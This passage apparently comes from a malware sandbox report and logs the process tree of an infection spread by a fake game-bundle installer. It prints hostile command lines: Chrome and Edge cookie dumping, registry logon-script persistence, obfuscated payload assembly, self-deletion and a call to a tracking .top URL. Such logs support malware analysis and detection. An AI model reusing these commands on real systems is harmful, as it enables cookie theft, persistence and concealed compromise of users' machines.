        C:\Users\Admin\Documents\58DRA_h0CadzEX60FTKMz5A9.exe
        7⤵
        
        PID:7636
      - C:\Users\Admin\Documents\ZT1jvruAWBISOrPsPZ3RT28y.exe
        
        "C:\Users\Admin\Documents\ZT1jvruAWBISOrPsPZ3RT28y.exe"
        6⤵
        
        PID:5220
      - C:\Users\Admin\Documents\jZP7ZZTMmPBSXKB5D2lvCPez.exe
        
        "C:\Users\Admin\Documents\jZP7ZZTMmPBSXKB5D2lvCPez.exe"
        6⤵
        
        PID:4224
      - C:\Users\Admin\Documents\vqkDfCSnO2vCSl9aj1G376Nn.exe
        
        "C:\Users\Admin\Documents\vqkDfCSnO2vCSl9aj1G376Nn.exe"
        6⤵
        
        PID:6196
      - C:\Users\Admin\Documents\imxitOV0wWuTxS3YAbfEq5M9.exe
        
        "C:\Users\Admin\Documents\imxitOV0wWuTxS3YAbfEq5M9.exe"
        6⤵
        
        PID:6120
        
        C:\Users\Admin\Documents\imxitOV0wWuTxS3YAbfEq5M9.exe
        
        "C:\Users\Admin\Documents\imxitOV0wWuTxS3YAbfEq5M9.exe" -q
        7⤵
        
        PID:4708
    - - C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
        5⤵
        
        PID:5292
      - C:\Users\Admin\AppData\Local\Temp\tmp6722_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp6722_tmp.exe"
        6⤵
        
        PID:4252
        
        C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\System32\dllhost.exe"
        7⤵
        
        PID:7464
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
        7⤵
        
        PID:7664
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        8⤵
        
        PID:4004
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
        9⤵
        
        PID:5840
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        Esplorarne.exe.com i
        9⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        10⤵
        
        PID:8672
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        11⤵
        
        PID:9164
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        12⤵
        
        PID:8636
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        13⤵
        
        PID:9212
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        14⤵
        
        PID:8696
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        15⤵
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        16⤵
        
        PID:8964
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        17⤵
        
        PID:8060
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        18⤵
        
        PID:8128
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        19⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        20⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        21⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        22⤵
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        23⤵
        
        PID:724
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        24⤵
        
        PID:3688
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        25⤵
        
        PID:1012
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        26⤵
        
        PID:7760
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        27⤵
        
        PID:8796
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        28⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        29⤵
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        30⤵
        
        PID:8152
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        31⤵
        
        PID:912
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        32⤵
        
        PID:6364
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        33⤵
        
        PID:5520
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        34⤵
        
        PID:384
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        35⤵
        
        PID:9208
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        36⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
        37⤵
        
        PID:8724
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping RJMQBVDN -n 30
        9⤵
        Runs ping.exe
        
        PID:8496
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
        5⤵
        
        PID:5220
      - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
        6⤵
        
        PID:5452
    - - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
        5⤵
        
        PID:5156
      - C:\Users\Admin\AppData\Roaming\8104798.exe
        
        "C:\Users\Admin\AppData\Roaming\8104798.exe"
        6⤵
        
        PID:5124
      - C:\Users\Admin\AppData\Roaming\5095205.exe
        
        "C:\Users\Admin\AppData\Roaming\5095205.exe"
        6⤵
        
        PID:3012
      - C:\Users\Admin\AppData\Roaming\7660298.exe
        
        "C:\Users\Admin\AppData\Roaming\7660298.exe"
        6⤵
        
        PID:5968
      - C:\Users\Admin\AppData\Roaming\4510927.exe
        
        "C:\Users\Admin\AppData\Roaming\4510927.exe"
        6⤵
        
        PID:6032
    - - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        5⤵
        
        PID:1968

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:4600

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:4544

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:5900

C:\Users\Admin\AppData\Local\Temp\is-N7KIN.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-N7KIN.tmp\Inlog.tmp" /SL5="$102C8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
1⤵
PID:1536
- C:\Users\Admin\AppData\Local\Temp\is-T2GT0.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-T2GT0.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
  2⤵
  PID:7872
- - C:\Users\Admin\AppData\Local\Temp\is-JOG8H.tmp\Setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-JOG8H.tmp\Setup.tmp" /SL5="$604DA,17369807,721408,C:\Users\Admin\AppData\Local\Temp\is-T2GT0.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
    3⤵
    PID:7424
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-P8AG4.tmp\{app}\microsoft.cab -F:* %ProgramData%
      4⤵
      PID:7844
    - - C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-P8AG4.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        5⤵
        
        PID:6284
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
      4⤵
      Blocklisted process makes network request
      PID:4412
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        5⤵
        
        PID:8984
  - - C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
      "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
      4⤵
      PID:7304
  - - C:\Users\Admin\AppData\Local\Temp\is-P8AG4.tmp\{app}\vdi_compiler.exe
      "C:\Users\Admin\AppData\Local\Temp\is-P8AG4.tmp\{app}\vdi_compiler"
      4⤵
      PID:3308
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-P8AG4.tmp\{app}\vdi_compiler.exe"
        5⤵
        
        PID:1964
      - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        6⤵
        Runs ping.exe
        
        PID:8836
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
      4⤵
      PID:6276

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:5788

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5832
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6544

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7288
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A36BB2745CC5C77D28F2E8B3EA6B0087 C
  2⤵
  PID:6972
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5AAF63B790A49186C29283D582D68548 C
  2⤵
  PID:6420
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F6D5F4C5C90C9F0ED68735C911ACFB51
  2⤵
  PID:6204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 59A76B1055D4E684011DB0EC106D3675 C
  2⤵
  PID:8868
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:724
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:2540
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:8528
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ffc0023dec0,0x7ffc0023ded0,0x7ffc0023dee0
        5⤵
        
        PID:8112
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=1716 /prefetch:8
        5⤵
        
        PID:9240
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1668 /prefetch:2
        5⤵
        
        PID:9232
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2460 /prefetch:1
        5⤵
        
        PID:9412
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2380 /prefetch:1
        5⤵
        
        PID:9404
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=2088 /prefetch:8
        5⤵
        
        PID:9396
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3180 /prefetch:2
        5⤵
        
        PID:5388
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=1936 /prefetch:8
        5⤵
        
        PID:9964
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=3592 /prefetch:8
        5⤵
        
        PID:6340
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=1832 /prefetch:8
        5⤵
        
        PID:9504
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=2016 /prefetch:8
        5⤵
        
        PID:6968
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,5458917286362979523,13208364140039155422,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8528_1050516471" --mojo-platform-channel-handle=3604 /prefetch:8
        5⤵
        
        PID:9652
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_D6C1.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:1520

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5924
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5948

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8236

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8640

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8300

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7440

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7216
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8904

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5704

C:\Users\Admin\AppData\Local\Temp\507F.exe
C:\Users\Admin\AppData\Local\Temp\507F.exe
1⤵
PID:3288

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1064

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:728
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{64fa3a1e-3f7d-3245-8554-ad7bafaa7f4d}\oemvista.inf" "9" "4d14a44ff" "0000000000000124" "WinSta0\Default" "000000000000017C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:1380
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000178"
  2⤵
  PID:2392

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:7172

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:8308

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2480
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7484

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:9060
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:3308

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5372

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4220

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:8808

